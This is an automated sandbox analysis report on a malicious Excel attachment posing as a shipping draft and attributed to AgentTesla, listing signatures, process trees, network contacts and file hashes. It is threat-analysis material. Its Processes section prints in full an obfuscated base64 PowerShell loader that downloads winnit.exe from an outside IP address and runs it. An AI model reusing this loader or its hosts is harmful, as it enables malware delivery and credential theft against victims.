Analysis Overview
SHA256
0980c818b185071ebf00005388e6d09283692a33cdd5a28005b76c0018960f40
Threat Level: Known bad
The file DRAFT BL & MBL PO NO ECM1D2403-29.xls was found to be: Known bad.
Malicious Activity Summary
AgentTesla
Process spawned unexpected child process
Agenttesla family
Blocklisted process makes network request
Evasion via Device Credential Deployment
Downloads MZ/PE file
Executes dropped EXE
Loads dropped DLL
AutoIT Executable
Suspicious use of SetThreadContext
UPX packed file
Drops file in System32 directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Suspicious behavior: MapViewOfSection
Suspicious use of WriteProcessMemory
Suspicious use of SendNotifyMessage
Suspicious behavior: AddClipboardFormatListener
Uses Volume Shadow Copy service COM API
Modifies Internet Explorer settings
Suspicious use of SetWindowsHookEx
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Uses Volume Shadow Copy WMI provider
Suspicious use of FindShellTrayWindow
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-12 06:38
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-12 06:38
Reported
2024-11-12 06:41
Platform
win7-20240903-en
Max time kernel
140s
Max time network
140s
Command Line
Signatures
AgentTesla
Agenttesla family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\winnit.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
AutoIT Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 496 set thread context of 2900 | N/A | C:\Users\Admin\AppData\Roaming\winnit.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\winnit.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\winnit.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\winnit.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\winnit.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\winnit.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\winnit.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\DRAFT BL & MBL PO NO ECM1D2403-29.xls"
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\windowspOWeRsheLl\v1.0\powERsHeLl.eXe
"C:\Windows\SysTEm32\windowspOWeRsheLl\v1.0\powERsHeLl.eXe" "pOWeRSHelL -Ex bypasS -NOp -w 1 -C DEViCEcReDeNtiALdEpLOYMeNT ; iex($(iEX('[SystEm.TEXT.eNCodIng]'+[ChAR]58+[CHAR]0x3A+'uTf8.GetStRinG([SysteM.cOnveRt]'+[CHaR]58+[CHAr]58+'FroMbASe64STRinG('+[Char]34+'JFA4OFdJYWNrc1AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYmVSREVGaU5JVElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxtb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOVFhndHZ0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElCcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0hhaExkWVRmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG94Y1NTY0FSKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaHBBY3JBVXAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlZalRCc0pMcmx6ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRQODhXSWFja3NQOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc2LjE0MS80MC93aW5uaXQuZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U1RBcnQtc0xlRVAoMyk7U3RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHdpbm5pdC5leGUi'+[cHaR]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex bypasS -NOp -w 1 -C DEViCEcReDeNtiALdEpLOYMeNT
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\-uxvkgn0.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF70.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCF6F.tmp"
C:\Users\Admin\AppData\Roaming\winnit.exe
"C:\Users\Admin\AppData\Roaming\winnit.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Users\Admin\AppData\Roaming\winnit.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 4t.gg | udp |
| KR | 221.146.204.133:443 | 4t.gg | tcp |
| US | 8.8.8.8:53 | r10.o.lencr.org | udp |
| GB | 2.23.210.75:80 | r10.o.lencr.org | tcp |
| US | 192.3.176.141:80 | 192.3.176.141 | tcp |
| KR | 221.146.204.133:443 | 4t.gg | tcp |
| US | 192.3.176.141:80 | 192.3.176.141 | tcp |
| US | 192.3.176.141:80 | 192.3.176.141 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.117.22:80 | crl.microsoft.com | tcp |
Files
memory/2384-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2384-1-0x000000007223D000-0x0000000072248000-memory.dmp
memory/2800-16-0x0000000002730000-0x0000000002732000-memory.dmp
memory/2384-17-0x0000000003070000-0x0000000003072000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 9d3841d618ec3b8e965084c7d5756dba |
| SHA1 | 64e58a9fcaea0c87bd9e2f959b0fb42f0737615e |
| SHA256 | a26872ec2bd5b9a439bbdd2edd834216538f4139850a5bce5b2c3a6ab47bda12 |
| SHA512 | bbb824f160a0a0b76a2e3e32d989fb7bf867e5814716c4219b4c012d67dbaf6b487123b584faf26245b7967ecd90ff9801f0688eeb6299a83e3b4226f7128031 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CB467543952BE6B5200B9CADEB942CD1
| MD5 | 81132b36583c8271c57dea829ba9e703 |
| SHA1 | 733155c25e7d1d2de1fd3ccc344687f8e3acf405 |
| SHA256 | c53f813e6a53f3e5579a06f2ada1c6829797a20e83b7702d6988de6dd3c19a0e |
| SHA512 | 03eaecf39525bbc457de040b82767addf8492ce69642a7a3861d167db441105db5905bfddfa8d61adfd4e00518ed70e929cd1f9fd4ff2c07242694c307c992a4 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CB467543952BE6B5200B9CADEB942CD1
| MD5 | 58c534b3002effb43019949c9e5dbb6f |
| SHA1 | e8a7f39d1cd084872b9b5db4454c0c888408a0f9 |
| SHA256 | 4fc48ed22e464d082039573a2fc8a44129ce11a72b7c397136482e4488a1ee2c |
| SHA512 | 4e03e09710bb4005d3cacaabb78b70b8c48016336b65ec3f1bc5e2726d48f388acbd1a787cf413f724d355e747d2db1a14d3b512bd20f887252cbea470d876ae |
C:\Users\Admin\AppData\Local\Temp\CabC745.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Y8UFEBH5\creatingnextleeverthingswithentireprocessgetitinonlineback[1].hta
| MD5 | e69934eff6238d7a043cf35938fd4ad3 |
| SHA1 | de69f4785657104ad260b25c6e09231f566991f1 |
| SHA256 | 46af3b6280d8707438e4c2f4c8134ddafe46a4c59799b84e55645b384b4aa208 |
| SHA512 | c821bd8f363f22f941093588a9f7772a479d930daf190124be13a7f493fe73debb1c535990d9cb5c3982234e3572202a42c95087ea90e0681cc32509e79e722b |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 997f1131efac13d28da12bdb0fc2c812 |
| SHA1 | a56eaf579a869d87d0dc38286b1485a89fc4647c |
| SHA256 | ef0393f8e70f1f0bc85fa4ede361bbc2cb877282e35407f33b28856087e8c8fc |
| SHA512 | 2fccdba72ccba40b057627cbeefcb688c1cf7b97dbbd360a0e6d4f2e1f5f8138120b143d21517e0bdc605550ed12f0ea6516fa7ac54569946d606ae6104b5273 |
\??\c:\Users\Admin\AppData\Local\Temp\-uxvkgn0.cmdline
| MD5 | acaf1e5cb7d0ffb09b36d92b9dffd1d8 |
| SHA1 | 123d4f7f19e16cb7b25e6274b70e8f2c86ce1d8b |
| SHA256 | 47cefb853761a36500e30dd109d3b8067dd831fb18b38353a866ccaa50ca1c6c |
| SHA512 | 9f9c2d7ed32697ecc8407e0286c0f6f639131ece21a6ead57d815a471dd0aad5c72e9335ac738be31663e96068d99b284e0790f5bb05355271251cbb8ec674e8 |
\??\c:\Users\Admin\AppData\Local\Temp\-uxvkgn0.0.cs
| MD5 | 465b4325ef1dc4adfed6e9822e476e55 |
| SHA1 | 2fa23c543ae1210d7b44ed6410522ccb5671e001 |
| SHA256 | ba069a73c9bf86bc2bc6bfc8532e250817a987761f5ff33d9816c3581efa196c |
| SHA512 | 6acd9cdd680e29d3f81813a4011cd0252f0132834393a3c2b40e9ece2c9173accc46eccd29eb9712af8042a0e97472be8a2a265301742612aab28cb8a0f2c1e8 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCCF6F.tmp
| MD5 | fa0ad5eea115ea27401de52140ef599b |
| SHA1 | 221a9067a15bb84798f92c30d64235906d5f096d |
| SHA256 | fee485cb7af5b799261b59e8e5dfc6939b57fb8bb1c2800da126f08d5efc6cd6 |
| SHA512 | 24eb28aeeda30bee0dd58f352ff711c229692170f4ba18b7612c353296e0cb227ab58898298142ee23a38e71e5d8e88c72dc86e20c0a5ba6faecea9b4957ff4f |
C:\Users\Admin\AppData\Local\Temp\RESCF70.tmp
| MD5 | 4981dffbc8e39a20df10db3c548f25eb |
| SHA1 | 7c6b9a10f0add19eded0e1de724874b831a2abf6 |
| SHA256 | 73568086024c4395c46ad1f3765e9e5e3c775d7cbc2cd730dc74edcbef123a52 |
| SHA512 | ee93d9b16b13d9ac92e99eb7e0b09c3eed0b5463b900ed3769fd606ecfde718f3b44488706f2d85dce8dd7e0b4af9d0694ddc984c4b3de4812700230318f5d6a |
C:\Users\Admin\AppData\Local\Temp\-uxvkgn0.dll
| MD5 | bb25bbf54b2c88e192908b53a55405f7 |
| SHA1 | c5d25725f1199705ff5c7aedb8c4830fc773fb10 |
| SHA256 | 428a5fde6c551ae5bcb106d384d85030310b6b7bb871888c483c6022e4e4561a |
| SHA512 | 8f58ebeb79f21bd40118f36eec4339772a5af093caf284038fc77b8858e087896c2c411156336ba0080d818b2c97a72a62f396faf3fee7b3025273a57751a9d2 |
C:\Users\Admin\AppData\Local\Temp\-uxvkgn0.pdb
| MD5 | 4b9d901fb81da015d135ebfb67106a0b |
| SHA1 | 8de2ccf1ba04d13e3bc9a5732e293ba4b72c0db7 |
| SHA256 | 3d7c85a68d29f1d68b32c8bb51201b4d6c11bac1a411db799a93cf946bef6527 |
| SHA512 | e6a1d0e8869d1c60d7a44cf3752c959b6481c731b12dd83dd3d093337a11a40363e5e8d788863cd5ab763a5f4790be585bdd66e16ed78731d6931b6720081ffb |
memory/2384-60-0x000000007223D000-0x0000000072248000-memory.dmp
C:\Users\Admin\AppData\Roaming\winnit.exe
| MD5 | ed7480dfd2d2fd5742d7b4eff9c1d26d |
| SHA1 | 5a69a5ec59e9bfcd221ca0925d774516debfdf4b |
| SHA256 | 166fec0187fb56dd61b937fa2c903a762102e1c139b47682eafa4cce0e991e7d |
| SHA512 | f19a8832f998225d0f1043422f6800377fcf7dda282ba88c8d333d3734a884eccadf28babd70ae7f9f249c29355b237dd690c03d74e207fbe6e12c866255270b |
memory/2608-65-0x00000000067B0000-0x00000000069BD000-memory.dmp
memory/2900-69-0x0000000000400000-0x0000000000446000-memory.dmp
memory/2900-70-0x0000000000400000-0x0000000000446000-memory.dmp
memory/496-72-0x0000000000D90000-0x0000000000F9D000-memory.dmp
memory/2900-73-0x0000000000960000-0x00000000009B4000-memory.dmp
memory/2900-74-0x0000000002020000-0x0000000002072000-memory.dmp
memory/2900-98-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-108-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-106-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-132-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-128-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-124-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-122-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-120-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-118-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-116-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-114-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-110-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-104-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-102-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-100-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-96-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-94-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-92-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-90-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-86-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-84-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-82-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-80-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-130-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-78-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-126-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-76-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-112-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-75-0x0000000002020000-0x000000000206D000-memory.dmp
memory/2900-88-0x0000000002020000-0x000000000206D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-12 06:38
Reported
2024-11-12 06:41
Platform
win10v2004-20241007-en
Max time kernel
144s
Max time network
140s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 768 wrote to memory of 3940 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 768 wrote to memory of 3940 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\DRAFT BL & MBL PO NO ECM1D2403-29.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4t.gg | udp |
| KR | 221.146.204.133:443 | 4t.gg | tcp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | r10.o.lencr.org | udp |
| GB | 2.23.210.82:80 | r10.o.lencr.org | tcp |
| US | 192.3.176.141:80 | 192.3.176.141 | tcp |
| US | 8.8.8.8:53 | 133.204.146.221.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 32.169.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 141.176.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 131.72.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
Files
memory/768-0-0x00007FFAE8730000-0x00007FFAE8740000-memory.dmp
memory/768-1-0x00007FFB2874D000-0x00007FFB2874E000-memory.dmp
memory/768-2-0x00007FFAE8730000-0x00007FFAE8740000-memory.dmp
memory/768-3-0x00007FFAE8730000-0x00007FFAE8740000-memory.dmp
memory/768-4-0x00007FFAE8730000-0x00007FFAE8740000-memory.dmp
memory/768-6-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-5-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-7-0x00007FFAE8730000-0x00007FFAE8740000-memory.dmp
memory/768-8-0x00007FFAE6360000-0x00007FFAE6370000-memory.dmp
memory/768-9-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-10-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-11-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-12-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-13-0x00007FFAE6360000-0x00007FFAE6370000-memory.dmp
memory/768-15-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-14-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-19-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-16-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-17-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-18-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-20-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/3940-40-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/3940-43-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-47-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/768-48-0x00007FFB2874D000-0x00007FFB2874E000-memory.dmp
memory/768-49-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/3940-53-0x00007FFB286B0000-0x00007FFB288A5000-memory.dmp
memory/3940-54-0x00007FF6DEBD0000-0x00007FF6DEBD8000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 0bc1a7e10bfc93dd83ebfe412bdce0c4 |
| SHA1 | ab4b865243a6eb3207edf04fa39e31634a46bfaf |
